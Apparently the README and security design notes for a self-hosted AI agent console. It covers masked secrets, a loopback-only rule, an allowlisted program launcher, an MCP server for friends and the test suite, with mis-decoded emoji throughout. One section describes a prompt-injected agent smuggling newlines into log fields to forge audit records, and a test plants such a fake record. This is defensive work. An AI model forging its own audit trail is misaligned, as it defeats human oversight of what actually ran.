sandbox.programs; the path and the arguments come from that config. No string a model writes ever reaches the OS launcher, so its quoting,&,;and%have nowhere to land โ the same reasonexectakes argv instead of a command line. - ๐ช Detached, so the window outlives the reply โ
cmd /c starton Windows (the mechanism the built-in browser already opens Chrome/Edge with), a backgrounded process on POSIX. There is no timeout here to close what you asked to open. - ๐งพ Audited as a start with no end. A launch writes one
kind=program phase=startline and no end line, which is what Config โ TRACE โ EXEC reads back as started, never finished โ the case that format exists for. - ๐ซ
.bat,.cmdand.ps1are refused as launch targets, because starting one means handing back the command shell or script host this whole design keeps away from a model. That refusal is by extension and is deliberately not overridable from the list;exec_interpretersis the door for script files, where the script is jailed to the allowed directories and inline code is still refused. - ๐ Approval is the approval you already have โ Ask / Allow / Deny for Opening programs and Closing programs, plus Auto Approve, Auto Deny and the usual prompt.
- ๐ฏ A close finds the binary, never the name. Processes are matched by the file they are running from
(
/proc/<pid>/exeon Linux, oneGet-CimInstance Win32_Processquery on Windows,pselsewhere) and compared as resolved paths. The oldertasklistimage-name filter made any other copy of that file on the machine into "the same program", so a close could end something you never opened โ a vendor'shelper.exe, a second editor. If a host will not give up a process list,closerefuses rather than falling back to the name. - ๐ช Closing is graceful first (
taskkill /PIDposts WM_CLOSE; POSIX sends TERM), so a program can still ask about unsaved work;forceends the process outright. The reply names the pids it ended, and every one that refused with the reason (access denied,already exited) โokmeans the program is gone, not that a signal was sent. A console program with no window has nothing to receive a close request, so it needs force. - ๐งพ The trace is written by this app alone โ every field is stripped of control characters before it
reaches
storage/exec.log, so an argument carrying a newline cannot append a record of a command that never ran. Full account in ยง22. โ ๏ธ Where the window appears matters. A program opens in the session Apache runs in: started as a console process (start.bat) it appears on your desktop, but installed as a Windows service it lands in session 0 and nothing is ever visible. On POSIX it needs a desktop session โ a headless host has nowhere to draw. The card states which of these is true on this host, so nobody guesses.- ๐ Off by default (
sandbox.programs_enabled, empty list): updating an older install gains the tools and no capability at all until you add a program.
Three routes were handing back the very values they exist to protect. ๐จ It is worth being precise about why that is worse than it sounds, because it is not "a leak of one secret" โ it is the same secret that guards the other doors.
- ๐ฏ What came back, verbatim โ
GET /api/configreturned the access token, a proxy URL with its password in it, and every provider API key;GET /api/mcp/serversreturned each MCP client'sheaders(theAuthorization: Bearer โฆ, and any other key header);GET /api/mcp-server/configreturned every friend's token. The access token is what the front gate compares against, and a friend token is whatMcpServer::authenticate()compares against โ so one read disclosed the keys to every gated route. ๐๏ธโก๏ธ๐ช - ๐ What comes back now:
********. A single constant (Config::SECRET_MASK) and two functions โConfig::maskSecrets()on the way out,Config::restoreSecrets()on the way in โ so the mask is spelled once and cannot drift between routes. Masked: the access token,sandbox.proxy_activewhen it carries credentials, every value in an MCP client'sheaders, the MCP server's tokens, and its protected-paths entries that hold secrets. โ๏ธ - ๐ณ๏ธ Empty stays empty โ the difference matters. "No token configured" and "a token you are not
allowed to see" are two different states, and the UI has to tell them apart: a fresh install must show an
empty field (and the run
setup-token.shhint), not eight asterisks. So masking is applied only to values that are actually set. ๐ซฅ A proxy with no username and password is not a secret either โ it is a setting, and the panel still names the exit node you are routing through. ๐ - โป๏ธ Why masking cannot simply mean "never send it": every panel in this app edits by read โ change
one key โ post the whole config back. Hand a page a config with a blanked token and the very next toggle
writes the blank back to disk โ a wiped credential that shows up later as a server answering
401, with nothing in the logs to say why. So the read masks and the write restores. ๐ - ๐งฌ Restore matches by identity, not by position. An array index is not a name: reordering two MCP
servers, or deleting one and adding another, would have put a stranger's header onto the wrong server (a
live credential pointed at an endpoint you never configured). Matching is therefore: a server by its
id, then by its URL, then by its command line; a friend token by its id, then by its label. Rename a server in the panel and itsAuthorizationheader still comes back โ that is a test, not a hope. ๐ชช - ๐ฎ A mask with nothing behind it is dropped, and said so. Add a brand-new server, leave the header box
showing
********, and there is no stored value to put back โ so the header is not written at all rather than being saved as the literal asterisks, which would have been a credential that authenticates as nothing and looks like the far end's fault. The count is reported back on the save. ๐งพ - โ๏ธ A real value typed over the mask wins. Paste a new key into that box and it is stored as typed โ masking only ever stands in for "unchanged". ๐
- ๐๏ธ A friend's token is visible exactly once โ when it is created, or when ROTATE is pressed: the
server keeps it, and a later read answers the mask. The COPY button refuses to hand over a mask for the
same reason the drop above exists: pasting
********into a client authenticates as a wrong token, and the failure reads as the server's problem rather than as a copy that copied nothing. ๐๐ซ - ๐งช Proven, not assumed โ
tests/php/secrets.test.phpasserts the mask on every field, that empty stays empty, that a credential-free proxy stays readable, a clean round-trip restores every secret, a renamed server keeps its header (URL match), an unresolvable mask is dropped and counted, and a typed value beats the mask. โ
./setup-token.sh --off prints that it is fine on "a machine nothing else can reach" โ and until v360
nothing enforced it. On a copy behind a web server bound to all interfaces, that was not a theoretical gap:
POST /api/sandbox/program is a program launcher an agent can reach, POST /api/sandbox/exec runs
commands, and GET /api/config โ the route from ยง20 โ answered with the very token that guards the routes
which were protected. ๐ช๐
- ๐งญ Now the documented posture is the enforced posture. With
require_tokenoff, a request whose peer address is not loopback gets403 {"error":"local requests only"}, plus the one-liner that fixes it:./setup-token.sh(orstart.bat -Tokenon Windows), then paste the token into Config โ Access token on each device โ after which the copy is reachable from anywhere again, which is what a token is for. ๐ - ๐ Three spellings of "this machine" count as local:
127.0.0.1,::1, and the IPv4-mapped::ffff:127.0.0.1that some Windows stacks report. All three are asserted in the suite, along with a LAN address, another private address and a public one โ none of which are local. ๐งช - ๐ณ๏ธ No peer address at all passes (the CLI, and PHP's built-in server before it has bound). There is no network path there to refuse โ and refusing it would only break the tooling that runs on the same machine. ๐ฅ๏ธ
- ๐ญ The
Hostheader is deliberately not consulted. It is client-supplied, so a rule like "the Host matched the peer address" would let anyone in by naming their own address in the request. The decision is made on the socket, not on anything the caller wrote. ๐ซ - ๐ค The MCP RPC route is exempt, on purpose.
POST /api/mcp-serverexists for other machines and keeps its own per-friend Bearer token with a read / write / exec scope ceiling, an optional IP allowlist and one-click revoke (ยง12). It is the one door this rule must leave open โ and it is a door, not a hole: the caller is authenticated before anything runs. ๐ - โ๏ธ The honest edge: a request arriving through a reverse proxy on the same host has the proxy as its peer, so it looks local and passes. That is the operator's own configuration rather than a stranger's path (ยง4, the jail), and the answer is the same as everywhere else in this app: set a token and the question stops mattering. ๐งฑ
storage/exec.log is the audit trail โ the two-phase run=โฆ phase=start|end record that Config โ TRACE โ
EXEC reads back, that pairs a command's start with its end, and that shows an opened window as started and
still running. ๐งพ Its authority depends on one property: one line per record. ๐
- ๐ชค So a newline is a forgery. Free text reaches these fields โ the agent name arrives in the tool
call, and every argv element is whatever a model sent. A
\nin either one would let a prompt-injected agent append a hand-written line describing a command that never ran (or, worse, make a real one look like part of a different record) โ the audit trail quietly rewritten by the thing it is auditing. ๐ญ - ๐ก๏ธ Stripped at the one chokepoint, not at the callers. Sanitising lives inside
Sandbox::audit(), whichexec,run_code,window_openandwindow_closeall pass through โ so a future caller cannot forget it, and it runs before the shell-quoting decision below, so a quote-escaped argument cannot carry a line break through the escaping. ๐ง - ๐งฌ Two shapes, because the line carries two kinds of field. The fields the reader takes as a single
token (
run,phase,kind,agent) lose everything from the first break onward and any character outside[\w.:@-]โ a space there would split the field and make the whole line unparseable, which would lose a real record while stopping a forged one. Free text (cwd, the program, the argv) turns breaks into a space and is capped (240 characters per field, 12 argv elements), so one enormous argument cannot bloat the log either. โ๏ธ An empty token becomes-, because an empty field breaks the reader's pattern. ๐ฉน - ๐ The reader still shows the interesting failure. Start and end lines are paired by their
runid, and a start with no end comes back asfinished: falseโ started, never finished is exactly the row you want to see after a crash or a kill mid-command, so it is surfaced rather than hidden. ๐ - ๐งช Proven โ
tests/php/programs.test.phpยง5d writes an audit entry whose agent name contains a newline and a complete fake record (run=forged-inject phase=start โฆ), then asserts the real run is still recorded in one piece and that the forged run id never becomes an entry of its own. โ
tests/ is dev tooling the app never loads, and it now runs four files at a time. That is only safe because
the two things those files used to share were taken away first โ and both of them were state this app's own
security rests on. ๐งช
- ๐งพ The audit trail is not a scratch file.
storage/exec.logis the two-phase record covered in ยง22: the answer to "did anything actually run?". Two test files wrote it, and each remembered its size on entry and truncated it back on the way out โ tidy when you are the only writer, and a deletion of another file's lines the moment you are not, which is exactly what running them at the same time makes them. A test run could be mistaken for real commands, and a real command's record could vanish under one. The trace a test writes now goes to a directory of that file's own:Sandbox::logDir()honoursROUTER_LOG_DIR, the runner sets it per file, andstorage/mcp.log(ยง12) goes the same way. Running the whole suite leaves the operator'sexec.logandmcp.logbyte-identical โ measured, not hoped. ๐ก๏ธ - ๐ The redirect cannot be reached from outside.
ROUTER_LOG_DIRis read from the process environment. There is no route, header, query string or config field that sets it, so no request and no model can move, hide or read a log by asking for it, and unset โ the normal state โ keepsstorage/exactly as it was. Its only reachable effect is to add a directory that a test writes to. ๐ซ - ๐ Loopback only, and a port of its own. Every server the suite starts binds
127.0.0.1and never0.0.0.0โ the generated Apache config is literallyListen 127.0.0.1:<port>โ and the port is now a walk from21000 + pid % 4000, which stays below the OS's ephemeral range. The old way asked the OS for "any free port" (tcp://127.0.0.1:0), which is a race the moment two files ask at the same moment: the number returns to the pool as the socket closes, so both can be handed the same one and one file ends up talking to the other file's server โ assertions answered by a server it never started. A port a real service is using is no longer a candidate either, which matters because a bind failure there looks exactly like a broken build. ๐งญ - ๐ Separate processes, for the same reason as ever. The suite separates its files so one cannot colour another's result (ยง17). A file that can reach into another file's socket or log can report green for something it never checked, so "each file is its own process" has to stay true down to the port it binds and the file it writes. โ
- ๐งช Proven โ six consecutive four-wide runs plus
--jobs 8and--jobs 2, all green with identical counts; samplingnetstatduring a run caught seven simultaneous listeners, all inside the pid-derived band and none of them repeated; run by itself withROUTER_LOG_DIRset,sandbox.test.phpwrites its 9 audit lines into that directory while the install'sexec.logis unchanged; and a full fresh-copy check โ14 files, 14 passed, 0 failed, 840 assertions, 5 skippedโ costs 16.8โ17.5s where it cost 41.0s. ๐ฌ
๐งท One rule underneath all of this: nothing that a model can write ever becomes a decision the app obeys. A name, not a path; argv, not a command line; a mask, not a credential; the peer address, not the
Hostheader; one token, not two records. That is the whole design, repeated in five different places. ๐
Config โ MCP Client. Add any MCP server (stdio command + args, or an HTTP URL with headers). Its tools become available to your agents through mcp_list / mcp_call. Servers are operator-configured โ a model can call them, never add one.
On Windows, stdio servers inherit the process environment (including PATH, ComSpec, APPDATA, TEMP and the usual Node install directories), so npx/node work without a manual PATH. env overrides individual keys. HTTP servers that require a session get initialize + Mcp-Session-Id automatically when the first call says it needs one; stateless servers still use a single POST.
The mirror of the client: an operator can expose this install as a remote MCP server, so another person's MCP client โ their own local model, Claude Desktop, Cursor โ can call tools that run on the operator's machine.
Config โ MCP Server
- Turn Enable the MCP server on.
- Set a scratch folder โ friends' file and command tools are jailed there, and a deny-all
.htaccessis dropped in so nothing they write is web-served. - Optionally edit the protected paths list.
- Add a token per friend, each with a scope: read / write / exec (and an optional IP allowlist). Tokens never expire; revoke one with a click. A token is shown once โ when it is created, or when you press ROTATE โ because the server keeps it and does not hand it back. Copy it then; if it is lost, ROTATE rather than guessing, and the old token stops working when you save.
The endpoint is POST /api/mcp-server (JSON-RPC 2.0), authenticated with Authorization: Bearer <token>.
- read โ
read_file,list_dir,glob_files,grep_code,stat,fetch_url,web_search,git_read - write โ
write_file,edit_file,insert,apply_patch,multi_edit - exec โ
exec,run_code,git_commit
Scope is a ceiling, not a bypass: a call still runs through the same sandbox, allow/deny lists, interpreter levels and approvals. An un-allowed command queues in the operator's Pending-approvals list and the friend's call returns "waiting for the operator". Every call is written to storage/mcp.log.
- Client supports remote MCP (HTTP) โ add a remote server at the URL with one header:
Authorization: Bearer <token>. - Client is stdio-only (e.g. Claude Desktop) โ bridge it with
mcp-remote:npx -y mcp-remote https://YOUR-HOST/path/api/mcp-server \ --header "Authorization: Bearer <token>" - The friend runs their own copy of Loop Studio โ Config โ MCP Client โ + ADD SERVER (name, transport
http, url, and aheadersbox withAuthorization: Bearer <token>). Their agents then reach the operator's tools throughmcp_list/mcp_call.
The operator hands over the URL + that friend's token; FRIENDS.md is the one-page version to send along.
A real Chrome or Edge, right inside the console โ ๐ซ no packages, ๐ซ no extensions, just the DevTools Protocol. ๐ฅ๏ธ Open it from the Browser item in the apps notch and you get the live page, an address bar, Go / Reload, a Live auto-refresh, a headless โ window toggle, and a click-through view: tap the page and it clicks. โจ
- ๐ฑ๏ธ Click, type, read โ click anywhere on the screenshot, type into the field you need, press Enter, and pull the page's visible text.
- ๐ค Agents use the same page โ
browser_open/browser_click/browser_type/browser_read/browser_waitdrive it too, so a model can genuinely operate a web app. - ๐ Logins stick โ the profile is persistent: log in once (headless, or in a window you can take over ๐ซณ) and both you and the agents reuse the session.
- ๐ก๏ธ Off by default and gated โ Config โ Labs โ Browser switches it on; http/https only, cloud-metadata addresses refused, and every route is token-gated.
- ๐ซ A domain / URL / IP block list โ a right-rail box on the Browser screen. One pattern per line,
*wildcard:*.gov,*word*, a bare host/IP (10.0.0.1), or a URL path (site.com/a/b/). Enforced server-side on every navigation โ yours and the agents' โ and re-checked after a click or type in case a link reaches a banned host. - ๐ One browser, reaped โ launching (or stopping) reaps any stray headless Chrome/Edge still holding the profile dir, so orphan instances never pile up and chew CPU/GPU.
- โก No multi-second stalls โ DevTools HTTP is read by exact
Content-Lengthover a raw socket, navigation returns the moment the page is interactive, and every action is single-flight so a slow page can't stampede the connection pool.
The UI is mobile-first โ touch controls, a responsive layout, an icon rail on phones, and it works in the phone's browser right next to wireless-debugging tooling.
โ ๏ธ Correction: an earlier note claimed there would be no Android app because "you can't put a PHP server into an Android app." That is false. An Android build is a packaging exercise, not an impossibility:
- ๐งฉ Thin WebView shell โ package a tiny app whose WebView points at the hosted instance. The whole UI already runs in a mobile browser.
- ๐ฆ PHP on-device โ PHP runs on Android via Termux (
pkg install php, thenphp -S 127.0.0.1:8080 serve.php), KSWEB, or AndroPHP, so a fully local, offline build is possible too.- ๐ Installable PWA โ add the web UI to the home screen as a progressive web app.
So: ๐ฑ an Android version is on the table. The old "impossible" line is struck.
/router/
โโโ index.html # SPA entry (canonical)
โโโ api/
โ โโโ index.php # REST front controller (all routes)
โ โโโ lab.inc.php # API Lab request runner
โโโ src/ # PHP backend
โ โโโ Config.php # settings + models
โ โโโ ModelManager.php # relays + streaming
โ โโโ Harness.php # provider / tool-dialect registry
โ โโโ Sandbox.php # jail, files, exec, git, code, http
โ โโโ Cdp.php # hand-rolled WebSocket + DevTools Protocol client
โ โโโ Browser.php # detect / launch / drive Chrome or Edge
โ โโโ Mcp.php # MCP client
โ โโโ McpServer.php # MCP server
โ โโโ SessionManager.php
โ โโโ TopologyGraph.php
โ โโโ Audio.php
โโโ ui/
โ โโโ js/ # app modules: store ยท api ยท stateSync ยท tools ยท
โ โ # toolManifest ยท toolProtocol ยท harness ยท nativeTools ยท
โ โ # apiPool ยท trace ยท perf ยท brainlab ยท alwaysOn ยท memory ยท
โ โ # desktop2026 (the glass shell) ยท ifaceMode ยท drawerState
โ โ โโโ components/ # chat ยท sidebar ยท routingChart ยท browserView ยท topology3d/โฆ
โ โโโ css/ # base ยท layout ยท chat ยท components ยท topology ยท desktop2026
โโโ tools/
โ โโโ gen-harness.php # generates ui/js/harness.data.js
โ โโโ cacert.pem
โโโ tests/
โ โโโ run.mjs # the whole suite: PHP, then JS
โ โโโ php/ # sandbox ยท harness ยท mcp ยท mcpServer ยท mcpStdio ยท
โ # guards ยท apacheGuards ยท nginxGuards (run.php)
โ โโโ js/ # agentSearch ยท context ยท curl ยท drawerState ยท
โ # harness ยท ifaceMode ยท latency ยท nativeTools ยท
โ # stripToolCall (run.mjs)
โโโ screenshots/
โโโ storage/ # JSON data (config, state, sessions) โ git-ignored
โโโ serve.php # php -S router (no Apache needed)
โโโ start.bat / start.sh # launchers
โโโ setup-xampp.bat/.ps1 # one-click Apache + PHP (Windows)
โโโ setup-token.sh # create / rotate the access token (+ storage guard)
โโโ nginx.example.conf # deny storage/ + tests/ on nginx (copy into server{})
โโโ FRIENDS.md # hand this to a friend to connect over MCP
โโโ CHANGELOG.md
โโโ README.md
๐งฐ Optional dev tooling. Nothing in
tests/is loaded by the app or imported by the UI โ the folder exists only to be run from a terminal, and deleting it changes nothing about how the app behaves. The app itself stays plain PHP with no build or dependency step: drag the folder onto a host and it runs. Node is needed only if you choose to run the JavaScript tests;php tests/php/run.phpneeds nothing beyond thephpyou already have. Nopackage.json, nonode_modules, nothing to install.๐
tests/is not needed at runtime, and every serving mode refuses it, the same way it refusesstorage/:serve.phpanswers 403 for anything under/tests(and for astorage,logs,tmp,sessionsortestsfolder at any depth, so a copy of the app kept inside the web root cannot expose its ownconfig.json),tests/.htaccess(which ships) plus the root.htaccess's any-depthRedirectMatchdeny it on Apache, andnginx.example.confcovers it for nginx in every folder, not just the root. API routes are exempt in all three โ/api/sessionsis the session list, not thestorage/sessionsfolder, and no API route maps onto a path from disk. Leavingtests/out of a deploy is still the tidiest option โ it holds no config, keys or tokens either way.
One command runs the whole suite:
node tests/run.mjs # PHP first, then JSEither half runs on its own, which is what you want while working on one of them:
| Command | What it runs |
|---|---|
๐งช node tests/run.mjs |
Both suites, PHP then JS |
๐ php tests/php/run.php |
PHP only โ sandbox, desktop programs (programs.test.php: the operator's list as the whole allowlist, the detached launch, binary-path matching, real kill verdicts and the un-forgeable trace), masked secrets (secrets.test.php: masks going out, restores coming back, and who may ask when there is no token), the token recovery script (setupToken.test.php), harness, MCP client/server, HTTP guards (serve.php, Apache .htaccess, and the nginx rules via PCRE), and the CSS/JS layer audit |
๐จ node tests/js/run.mjs |
JS only โ context, curl, drawer state, harness, interface mode, latency, native tools, tool-markup stripping |
๐ฑ php tests/freshClone.php |
Both suites, in a fresh copy of the tree in the temp dir โ the same check a clone gets, run every time (needs git, which supplies the file list). --head clones the last commit instead of the working tree; --keep keeps the copy. Deleted on success, kept when something fails. Ends every run โ pass or fail โ with its measured total, split by phase: took: 16.8s (copy 0.4s, PHP 15.5s, JS 1.0s) |
- The layer audit is a stylesheet test.
tests/php/layers.test.phpparsesui/css/*.css(and the handful ofz-indexvalues set fromui/jsandindex.html) and fails if any surface โ panel, drawer, pane, menu โ ties or outranks a dialog. Notices are exempt by name with a reason: the fatal banners, the boot splash, the CRT scanline overlay, toasts and the approval prompt, which must be visible over a dialog. It reads the dialog's number and the ladder comment inmodals.cssrather than hardcoding them, so moving the layer means updating both. It exists because dialogs once sat below the built-in Browser pane and an agent's โฎ menu at 3000, and nothing failed. - Each test file is its own process, exactly as if you had run it by hand, so one file's globals or a failed import cannot colour another's result โ and several run at the same time (4 by default;
php tests/php/run.php --jobs 1for one after another,--jobs Nfor a different width). Results are still printed in file-name order, whatever order they finish in, so two runs of the same tree read the same way and a failure's full output still sits under its ownFAILline. That is only safe because the two things the files used to share are gone: the port each server binds โ a walk that starts from a number derived from the file's own process id (tests/php/free-port.php, required by the three files that start a server), rather thantcp://127.0.0.1:0, which hands the same port to two files that ask in the same moment and leaves one of them binding an occupied port or talking to the other one's server โ and the log each file writes โexec.logandmcp.logare appends in the install'sstorage/, and a test that truncates the trace back to the size it found it at would delete a line another file was about to read, so each file is given a log directory of its own (ROUTER_LOG_DIR). One side effect worth having: the suites no longer write the operator'sstorage/exec.logorstorage/mcp.logat all. - Naming is the registration. A
*.test.mjsintests/js/or a*.test.phpintests/php/is picked up automatically โ there is no list to update. Helpers (liketests/php/mcp-mock-server.php, whichmcp.test.phpspawns itself) simply don't use the.test.name. - A file that cannot run one of its checks prints
SKIP:with the reason โ and the runner repeats it. A skip should mean this machine cannot do it โ nobashto drivesetup-token.sh, nopythonfor the audit checks, nocurlextension, no symlinks on Windows โ and never this checkout is missing something only the operator has. A test that needs a fixture builds it:apacheGuards.test.phpwrites a throwaway copy of the app into the web root, asserts against it and removes it, andguards.test.phpusesstorage/models.json, which ships with the app, rather than a session transcript only the operator has. The runner re-prints thoseSKIP:lines under the file's result and totals them, because otherwise "this file skipped two of its checks" looks exactly like "this file had two checks" โ which is how a fresh clone quietly ran 18 fewer assertions than the machine they were written on, and still reported green. - A suite that cannot run fails the command instead of being quietly skipped: with no
phpon PATH you getPHP suite did not runand exit1. PointPHP_BINARYat the binary if it lives somewhere unusual. - No internet and no browser. The JS tests import the real modules (
tools.js,utils.js,nativeTools.js) straight into Node; the PHP ones use a temporary sandbox root and a local stdio MCP mock. The only servers are the ones the three files that need one start for themselves, each on a loopback port whose walk starts from its own process id (see the port note above) โphp -Sforserve.php's own router, and the local Apache for the shipped.htaccessfiles โ and each shuts its server down when it finishes.nginxGuards.test.phpstarts nothing at all: it lifts thelocationregexes out ofnginx.example.confand runs them through PCRE, which is the engine nginx matches with. One Apache detail it has to handle: Apache reads.htaccessfrom directories aboveDocumentRoottoo, so a copy of the app nested inside another copy would have the parent's file parsed as server config (<IfModule not allowed here) and answer500to everything โ which is why the generated config pins every ancestor toAllowOverride Noneand leaves only the shipped files in play. - A pre-commit hook runs the fresh-copy check on what you are committing.
.githooks/pre-commitcallstests/freshClone.php --index, so the copy is the staged snapshot and not the working tree โ a half-staged commit is checked as the commit it will actually be. Turn it on once per clone withgit config core.hooksPath .githooks(nothing in a repo can install a hook into someone's.git), skip one commit withgit commit --no-verify, and know that it costs about 17 seconds โ 16.8โ17.5s measured over six runs here, down from 41s, where an earlier note claimed "about two minutes" โ which is what the check costs. A cold machine is slower: the copy is 281 files, and a scanner reading them fresh is part of the price. Neither tool asks you to trust a number, either โ every run ends with what it actually cost, on the way past whether it passed or failed:took: 16.8s (copy 0.4s, PHP 15.5s, JS 1.0s), with the hook's own end-to-end seconds printed beside it. The breakdown says where the money goes, and it is still not where it first looked: the two long files areprograms.test.php(every look at the process table is a PowerShell start, ~0.65s, and the feature is about what that table says) at ~13s andsetupToken.test.php(16 real invocations of the recovery script at ~0.8s each, in an environment where python is deliberately broken so php is the engine that gets used) at ~12.7s. Serially that made the PHP half their sum (39.4s); running the files at the same time makes it the slowest file plus a little (~15.6s), because the longest files are started first and twelve short ones fit around them. Booting Apache,serve.phpand the MCP mock cost about two seconds between them, and the JS half is about a second. When a suite fails the copy is kept, so the failure can be looked at where it happened. - End a test file with its own count, e.g.
58 passed, 0 failedโ plus, N skippedwhen it had to skip something. The runners read that last line for the per-file summary and the total, and never trust the count of a file that failed. A fresh clone should report the same numbers as the machine the tests were written on:14 files, 14 passed, 0 failed, 840 assertions, 5 skippedon both.
โ ๏ธ Some tests skip instead of pass, and each prints aSKIP:line when it does:sandbox.test.phpskips its git checks when git is missing or its commands are refused in the temporary directory;guards.test.phpskips ifproc_openis disabled, no loopback port can be bound, or a checkout has nostorage/sessions/*.jsonyet; andapacheGuards.test.phpskips when there is no Apache to boot โ pointROUTER_HTTPDat one to run it (its nested-copy checks also skip when no second copy of the app is present). A green run therefore does not cover those cases โ read the line, it is not a pass.
๐ Cutting a release? RELEASING.md is the checklist: which of the two version numbers to bump, and the three places
APP_VERSIONhas to change together so a browser cannot mix a new module with an old one.
All under /router/api/โฆ (or /api/โฆ). Every route is token-gated.
| Area | Routes |
|---|---|
| ๐๏ธ State / config | GETยทPUT /state, GETยทPUT /config (secrets masked on read, restored on write), GET /models |
| ๐ฌ Sessions | GETยทPOST /sessions, GETยทPUTยทDELETE /sessions/{id}, DELETE /sessions/close/{id} |
| ๐ค Models / relay | POST /query, POST /llm (relay + stream), GET /catalog |
| ๐ ๏ธ Sandbox | GET /sandbox/status, POST /sandbox/{search,fetch,read,write,list,glob,grep,str_replace,insert,apply_patch,multi_edit,git,git_commit,http,code,program,โฆ} |
| ๐ฅ๏ธ Programs | POST /sandbox/program โ {action:open|close|list, name, force} |
| ๐ง๐ป Shell | POST /exec, GET /exec/allowlist, GET /exec/pending, POST /exec/decide |
| ๐ MCP | GETยทPOST /mcp/servers, GET /mcp/status, POST /mcp/tools, POST /mcp/call |
| ๐ฅ๏ธ MCP server | POST /mcp-server (JSON-RPC), GETยทPOST /mcp-server/config |
| ๐งช Lab / proxy | POST /lab, GET /proxies, POST /proxy-ping, GETยทPUT /proxy-active |
| ๐ Misc | GET /topology, POST /diag, GET /backup, POST /import, GET /export/{id}, POST /audio/{speak,transcribe} |
| ๐ Updates | GET /update (status + cached plan + whether it can install), GET /update/check (is a newer release published? cached six hours โ POST asks now), POST /update/download (fetch, verify, diff), POST /update/discard, GET /update/state (phase, preflight, backups, log tail), POST /update/backup, POST /update/install (replaces app files), POST /update/finish (swap in a file an install had to defer), POST /update/rollback. Only check and download need curl โ the rest work offline on files already on disk |
Failures come back as {"error": "..."} with HTTP 400 and a message meant for the model, so a refused path reads as "outside the allowed directories" rather than a blank 500.
- "PHP's curl extension is not enabled" โ the server was started without the launcher (e.g. a bare
php -S). Usestart.bat/start.sh, or runphp serve.php --setup. - Every request returns 401 โ the Access token isn't pasted on this device. The token is per-device; paste it in Config โ Access token.
- Phone shows an empty UI or immortal 401s โ a split-brain load. Deploy the whole
ui/folder (never single files) and hard-refresh โ mixing module versions gives each its own store. - Agents "won't use tools" โ check for a global pre-prompt that says "reply with ONLY text / N words" โ it fights the tool protocol. The tool instructions now override it and the loop re-prompts once, but turning it off is cleanest. A fleet-wide house rule is fine โ just remember it prepends to each agent's prompt by default (or replaces it if you flip the toggle in the editor).
- An agent's badge says HELD and nothing happens โ it's parked. A cap (Config โ Limits & Budgets โ Max iterations / Max minutes) held it, or you stopped it by hand. Click Config โ Permissions โ RELEASE HELD AGENTS (or toggle the master switch off and on). To loop forever, set both caps to
0and give the agent a real standing goal โ a goal ofidlegives it nothing to aim at, so it will wander. - Always-on stops when you leave the tab โ turn on Config โ Permissions โ Run while tab is hidden (it drives the timer from a Web Worker). It is off by default so a background loop can't bill you silently.
- A model returns nothing / "NetworkError" โ on Windows PHP's built-in server is single-threaded; use
start.bat(Apache) for parallel agents, orstart-php.batfor one at a time. - MCP client gets
missing bearer tokeneven with a token โ under Apache + PHP-FPM theAuthorizationheader is stripped before PHP sees it. Redeployapi/.htaccess(shipped): it hasCGIPassAuth Onplus theRewriteCond %{HTTP:Authorization}fallback, so$_SERVER['HTTP_AUTHORIZATION']is populated. Without that file both are empty. If a proxy/WAF also strips the header, the host must allow it through (nginx:fastcgi_param HTTP_AUTHORIZATION $http_authorization;). - Local models not connecting โ make sure Ollama/LM Studio is running and reachable (Ollama
:11434, LM Studio:1234).
Copyright โ M. Bryce Hudson 2026-2029 All Rights Reserved See LICENSE. ๐
Made by MBHudson

















